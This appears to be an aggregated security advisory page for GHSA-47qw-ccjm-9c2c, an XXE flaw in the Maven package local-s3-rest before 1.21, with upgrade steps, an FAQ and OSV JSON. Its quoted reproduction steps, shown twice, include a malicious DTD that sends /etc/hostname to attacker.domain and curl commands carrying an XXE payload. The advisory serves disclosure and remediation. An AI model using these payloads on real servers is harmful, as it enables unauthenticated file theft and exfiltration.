GHSA-47qw-ccjm-9c2c: Local s3 rest LocalS3 XML Parser Vulnerable To Vulnerability

MODERATE
CWE-611
Published
Advisory Summary

GHSA-47qw-ccjm-9c2c is a MODERATE locals3 xml parser vulnerable to vulnerability (CWE-611: Improper Restriction of XML External Entity Reference) affecting Local s3 rest libraries in the Maven ecosystem. The issue involves locals3 xml parser vulnerable to xml external entity (xxe) injection. Remediation is available by upgrading affected packages to version 1.21.

GHSA-47qw-ccjm-9c2c at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-47qw-ccjm-9c2c
Severity MODERATE
CVSS v3.1 Base Score N/A
CWE Classification CWE-611: Improper Restriction of XML External Entity Reference
Affected Product Local s3 rest
Package Ecosystem Maven
Published Date
Last Updated

How to Fix GHSA-47qw-ccjm-9c2c

To remediate this vulnerability, upgrade all affected Local s3 rest dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

io.github.robothy:local-s3-rest fixed: 1.21
<dependency>
    <groupId>io.github.robothy</groupId>
    <artifactId>local-s3-rest</artifactId>
    <version>1.21</version>
</dependency>
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

mvn dependency:tree -Dincludes=io.github.robothy

How to Check if You Are Affected

To determine whether your Java application is affected by GHSA-47qw-ccjm-9c2c, inspect your build dependencies using the Maven Dependency Plugin:

mvn dependency:tree -Dincludes=io.github.robothy

Analyze the terminal output to locate any version of Local s3 rest in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.21), your application is affected.

Note: The mvn dependency:tree -Dincludes=io.github.robothy command inspects the resolved dependency graph declared in your project's POM files; it does not perform automated security scanning or inspect runtime dynamic classpaths. Always verify runtime container classpaths and shaded JARs.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-611: Improper Restriction of XML External Entity Reference, where the product processes an xml document that can contain xml entities with uris that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output. In Local s3 rest, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Description The LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections. The vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests. The vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations. ## Steps to Reproduce 1. Create a malicious DTD file containing the following content: ``` <!ENTITY % file SYSTEM "file:///etc/hostname"> <!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>"> %eval; %exfil; ``` 2. Host the malicious DTD file on an accessible web server 3. Initialize a multipart upload to the LocalS3 server: ``` curl -X PUT "http://app/test-bucket/test.txt?uploads" ``` 4. Send a POST request to complete the multipart upload with the following XML payload: ``` curl -X POST "http://app/test-bucket/test.txt?uploadId=[upload-id]" \ -H "Content-Type: application/xml" \ -d '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE data [ <!ENTITY % dtd SYSTEM "http://attacker.domain/evil.dtd"> %dtd; ]> <CompleteMultipartUpload> <Part> <PartNumber>1</PartNumber> <ETag>test</ETag> </Part> </CompleteMultipartUpload>' ``` The server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request. ## Mitigations - Disable DTD processing in the XML parser configuration - If DTD processing is required, disable the ability to load external entities and external DTDs - Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature - Set up proper input validation and sanitization for all XML processing operations ## Impact An attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.

GHSA-47qw-ccjm-9c2c Affected Local s3 rest Versions

1 component(s)
Fixed Versions:
1.21
Product / Package Ecosystem Affected Versions Fixed Version
io.github.robothy:local-s3-rest
Maven
< 1.21
1.21

References

Frequently Asked Questions

What is GHSA-47qw-ccjm-9c2c?
GHSA-47qw-ccjm-9c2c is a security vulnerability in Local s3 rest involving LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection under CWE-611: Improper Restriction of XML External Entity Reference.
Which Local s3 rest versions are affected?
Affected versions include releases prior to 1.21 across affected packages: io.github.robothy:local-s3-rest.
What version fixes GHSA-47qw-ccjm-9c2c?
Upgrading to 1.21 (or the latest patched release for your respective branch) resolves the vulnerability.
Is local-s3-rest affected?
Yes, io.github.robothy:local-s3-rest is affected in releases prior to 1.21. Upgrade your dependency to 1.21 or later.
What CWE is associated with GHSA-47qw-ccjm-9c2c?
GHSA-47qw-ccjm-9c2c is classified under CWE-611: Improper Restriction of XML External Entity Reference (The product processes an XML document that can contain XML entities with URIs that resolve to documents outside of the intended sphere of control, causing the product to embed incorrect documents into its output.).
How can I check Maven dependencies for GHSA-47qw-ccjm-9c2c?
Run the dependency tree command: 'mvn dependency:tree -Dincludes=io.github.robothy'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-47qw-ccjm-9c2c",
  "modified" : "2025-03-10T18:29:37Z",
  "published" : "2025-03-10T18:29:36Z",
  "aliases" : [ ],
  "summary" : "LocalS3 XML Parser Vulnerable to XML External Entity (XXE) Injection",
  "details" : "## Description\n\nThe LocalS3 project, which implements an S3-compatible storage interface, contains a critical XML External Entity (XXE) Injection vulnerability in its XML parsing functionality. When processing XML requests for multipart upload operations, the application accepts and processes XML external entities, allowing an attacker to read local system files and potentially make outbound network connections.\n\nThe vulnerability exists because the XML parser is configured to process external entities and DTD (Document Type Definition) declarations without proper restrictions. This allows an attacker to define external entities that can read local files and exfiltrate their contents through outbound HTTP requests.\n\nThe vulnerability is particularly severe as it allows direct access to sensitive files on the filesystem, bypassing any directory traversal protections that might be in place for normal S3 operations.\n\n## Steps to Reproduce\n\n1. Create a malicious DTD file containing the following content:\n```\n<!ENTITY % file SYSTEM \"file:///etc/hostname\">\n<!ENTITY % eval \"<!ENTITY &#x25; exfil SYSTEM 'http://attacker.domain/?flag=%file;'>\">\n%eval;\n%exfil;\n```\n\n2. Host the malicious DTD file on an accessible web server\n\n3. Initialize a multipart upload to the LocalS3 server:\n```\ncurl -X PUT \"http://app/test-bucket/test.txt?uploads\"\n```\n\n4. Send a POST request to complete the multipart upload with the following XML payload:\n    ```\n   curl -X POST \"http://app/test-bucket/test.txt?uploadId=[upload-id]\" \\\n   -H \"Content-Type: application/xml\" \\\n   -d '<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n   <!DOCTYPE data [\n   <!ENTITY % dtd SYSTEM \"http://attacker.domain/evil.dtd\">\n   %dtd;\n   ]>\n   <CompleteMultipartUpload>\n       <Part>\n           <PartNumber>1</PartNumber>\n           <ETag>test</ETag>\n       </Part>\n   </CompleteMultipartUpload>'\n    ```\n\nThe server will process the XML, load the external DTD, and when evaluating the entities, will read the contents of /etc/hostname and send them to the attacker's server via an HTTP request.\n\n## Mitigations\n\n- Disable DTD processing in the XML parser configuration\n- If DTD processing is required, disable the ability to load external entities and external DTDs\n- Implement XML parsing with secure defaults using JAXP's XMLConstants.FEATURE_SECURE_PROCESSING feature\n- Set up proper input validation and sanitization for all XML processing operations\n\n## Impact\n\nAn attacker can exploit this vulnerability to read arbitrary files from the server's filesystem and exfiltrate their contents through outbound HTTP requests. The vulnerability requires no authentication and can be exploited by anyone who can send requests to the LocalS3 server. This could lead to exposure of sensitive information including configuration files, credentials, and other confidential data stored on the server.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "io.github.robothy:local-s3-rest"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.21"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Robothy/local-s3/security/advisories/GHSA-47qw-ccjm-9c2c"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/Robothy/local-s3/commit/d6ed756ceb30c1eb9d4263321ac683d734f8836f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Robothy/local-s3"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-611" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-03-10T18:29:36Z",
    "nvd_published_at" : null
  }
}